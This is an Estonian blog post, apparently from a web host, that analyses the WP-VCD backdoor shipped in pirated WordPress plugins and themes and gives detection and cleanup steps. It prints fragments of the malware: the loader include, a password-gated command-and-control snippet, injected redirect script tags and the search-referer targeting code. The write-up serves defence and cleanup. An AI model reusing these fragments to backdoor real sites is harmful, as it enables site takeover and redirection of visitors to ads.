WP-VCD ehk eelpaigaldatud pahavaraga “tasuta” pluginad ja teemad
Hetkel on meie juures üle 70 WordPressi-saidi, mis omaniku tahte vastaselt külastajaid erinevatele saitidele edasi suunavad. Põhjuseks “tasuta kohast” saadud tasuline plugin või teema … millega käib kaasas pahavara ehk täpsemalt öeldes tagauks.
Külastaja vaade
Toimub see kõik umbes nii:
- külastaja saabub otsimootori kaudu veebilehele;
- veebilehe koodi sokutatakse viited mujal asuvatele skriptidele;
- kasutaja brauseris käivitatud skript jääb ootama esimest klikki…;
- … ja avab uue brauserisaki, kus kuvatakse reklaami;
- ühtlasi salvestatakse brauserisse küpsised, mis mõeldud reklaami efektiivsuse mõõtmiseks ja tagavad ka selle, et ta saaks soovitud veebis mõnda aega segamatult klikkida.
Reklaamini jõuab kasutaja läbi mitme edasisuunamise, näiteks minule pakuti testis laen[.]ee ja olybet[.]ee saite, esimeseks sammuks mõlemal puhul cobalten[.]com:
Veebiomaniku vaade
Minule monitooringus silma hakanud saitide puhul on pahavaraks WP-VCD, mille paigaldus-skript sisaldub enamasti class.plugin-modules.php
või class.theme-modules.ph
p nimelises failis, mis on lisatud “nullitud” (nulled) ehk sisuliselt piraaditud tasulisele pluginale või teemale:
<?php if (file_exists(dirname(__FILE__) . '/class.plugin-modules.php')) include_once(dirname(__FILE__) . '/class.plugin-modules.php'); ?>
Ääremärkus: kuna WordPress ja teemad on GPL litsentsiga vaba tarkvara, siis juriidiliselt ei ole nende kopeerimine piraatlus sest ainus asi mille eest raha küsitakse on uuendused, teemade puhul ka eraldi autoriõiguse all olev kujundus. Aga kuna antud puhul toimub sinu veebi ülevõtmine piraatide poolt, siis otsustasin kasutada nimelt seda sõna.
See kood korraldab pahavara laiema paigalduse, nii näeb see välja pahavaraga WPML puhul:
2018-04-08 14:43 - ./wp-content/plugins/sitepress-multilingual-cms/inc/class.theme-modules.php 2018-04-08 14:43 - ./wp-content/themes/Avada-Child-Theme/functions.php 2018-04-08 14:43 - ./wp-content/themes/Avada/functions.php 2018-04-08 14:43 - ./wp-content/themes/twentyfifteen/functions.php 2018-04-08 14:43 - ./wp-content/themes/twentyseventeen/functions.php 2018-04-08 14:43 - ./wp-content/themes/twentysixteen/functions.php 2018-04-08 14:43 - ./wp-includes/wp-vcd.php
Ehk siis /wp-includes/wp-vcd.php
saab oma sisuks paigalduskoodi ning selle käivitamiseks vajalik include läheb WP osaks oleva /wp-includes/post.php
algusesse … ning class.theme-modules.php
tehakse kenasti tühjaks, sealt ei tohiks hiljem vaadates enam midagi kahtlast märgata.
Lisaks paigaldatakse kõigi leitud teemade functions.php
faili kood, mis võimaldab edaspidi lihtsalt muuta command & control serveri domeeninime … ning saadetakse ülevõetud serveri andmed peremehele:
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'xxxxxxxxx')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain']))
Edaspidi märkab vaid kahe faili muutumist:
2018-07-28 00:07 - ./wp-includes/wp-tmp.php 2018-07-19 11:41 - ./wp-includes/wp-feed.php
wp-tmp.php
failis hoitakse koodi mida peremees veebis kuvada soovib, nt:
<script type="text/javascript" src="//go.onclasrv[.]com/apu.php?zoneid=1635111"></script> <script async="async" type="text/javascript" src="//go.mobisla[.]com/notice.php?p=1635222&interactive=1&pushup=1"></script> <script src="//pushnest[.]com/ntfc.php?p=1662333" data-cfasync="false" async></script>
… ning wp-feed.php
sisaldab adminnina sisse loginud kasutajate IP-aadresse – nii väldib pahavara seda, et saidi tegelik omanik kogemata reklaami näeks (lisaks läheb brauserisse ka vastav küpsis):
146.255.1xx.xxx 146.255.1xx.xxx 95.161.2xx.xxx 194.150.6x.xxx 146.255.1xx.xx
Ja kui siis veebi tuleb külastaja mõnest otsimootorist:
$ref = $_SERVER['HTTP_REFERER']; $SE = array('google.','/search?','images.google.', 'web.info.com', 'search.','yahoo.','yandex','msn.','baidu','bing.','doubleclick.net','googleweblight.com'); foreach ($SE as $source) { if (strpos($ref,$source)!==false) { setcookie("sevisitor", 1, time()+120, COOKIEPATH, COOKIE_DOMAIN); $sevisitor=true; } }
… pannakse skriptid lehesappa ning märgitakse ta kaheks tunniks “ära reklaamituks”.
Kuidas kontrollida?
Kuna pahad skriptid saavad kuvatud ainult juhul, kui tuled otsimootorist ja ei ole varem sama IP või brauseriga olnud adminnina sisse logitud… siis:
- kui oled adminnina varem sisse loginud – siis kasuta mobiiltelefoni internetti või mõnda wifi-võrku
- ava Google Chromes inkognito aken, tee hiirega paremklõps ja vali “Inspekteeri” (pärast võib ka see liigutus reklaami avada)
- googelda oma domeeni, siirdu lehele
- vaata inspektori Elements vaates lehe jaluses olevaid skripte… või proovi klikkida oma veebis suvalisse kohta ja vaata, kas satud kuhugi, kuhu ei plaaninud sattuda
Loomulikult võib ka vaadata FTPga serverisse – kui leiad /wp-includes/wp-vcd.php
faili, siis on tegemist täpselt siinkirjeldatud pahavaraga.
Koristaja vaade
Kuna ainus turvanõrkus on (loodetavasti) see piraat-teema või -plugin ning serveris toimuva muster näib olevat ühetaoline, ei tohiks puhastamine olla ülearu keeruline:
- leia üles probleemne teema või plugin ja asenda see ametliku, puhta versiooniga (jah, see maksab raha – sest kellegi jaoks on selle valmistamine ja värskena hoidmine töö) – otsi
class.plugin-modules.php
võiclass.theme-modules.php
nimelist faili - kustuta ära kõik kasutusel MITTE olevad teemad ja pluginad (lihtsam puhastada)
- eemalda
/wp-includes
kataloogistwp-feed.php
,wp-tmp.php
jawp-vcd.php
;post.ph
p algusest eemaldainclude
käsk - käi üle teema(de)
functions.php
failid ning eemalda nende algusest kahtlane kood - vaata igaks juhuks ctimer.php abil ega mõnda muud faili näpitud ole
- turvakaalutlusel võiks ära vahetada ka: andmebaasiparooli, WP kasutajate paroolid ning
wp-config.php
‘s olevad soolad - … ning kui juba veebis oled, siis uuenda ära ka WP ja kõik pluginad-teemad (ning vii veeb HTTPS peale + vaheta PHP versioon värskeima toimiva vastu – ilmselt 7.1 või 7.2)
Kui koristamistegevus keeruline tundub, siis kirjuta info@zone.ee, maini WP-VCD probleemi ja telli meilt puhastustöö (mõnede levinumate pluginate nagu WPML puhul on meil olemas arendaja-litsents ja saame need kenasti ametlike/legaalsetega asendada, vähemlevinud pluginate puhul lisandub nende hind tööaja hinnale).
Kommentaarid
2 kommentaariOn hulk vabavara, mis ongi tasuta ilma pettuseta. Näiteks Linux ja selle ümber loodu. Seega ei vasta tõele, et tasuta saades oled ise söök.
Otseloomulikult on olemas vabavara – ja olemaks täpne, siis on olemas ka vaba tarkvara, mille hulka kuuluvad ka Linux ja WordPress… ning enamus WP pluginatest peaks samuti olema GPL litsentsiga.
Antud juhul käib jutt siiski “tasuta kohast saadud tasulistest” pluginatest – tõsi, juhtlõik võib olla mitmeti tõlgendatav.
Kommentaarid suletud.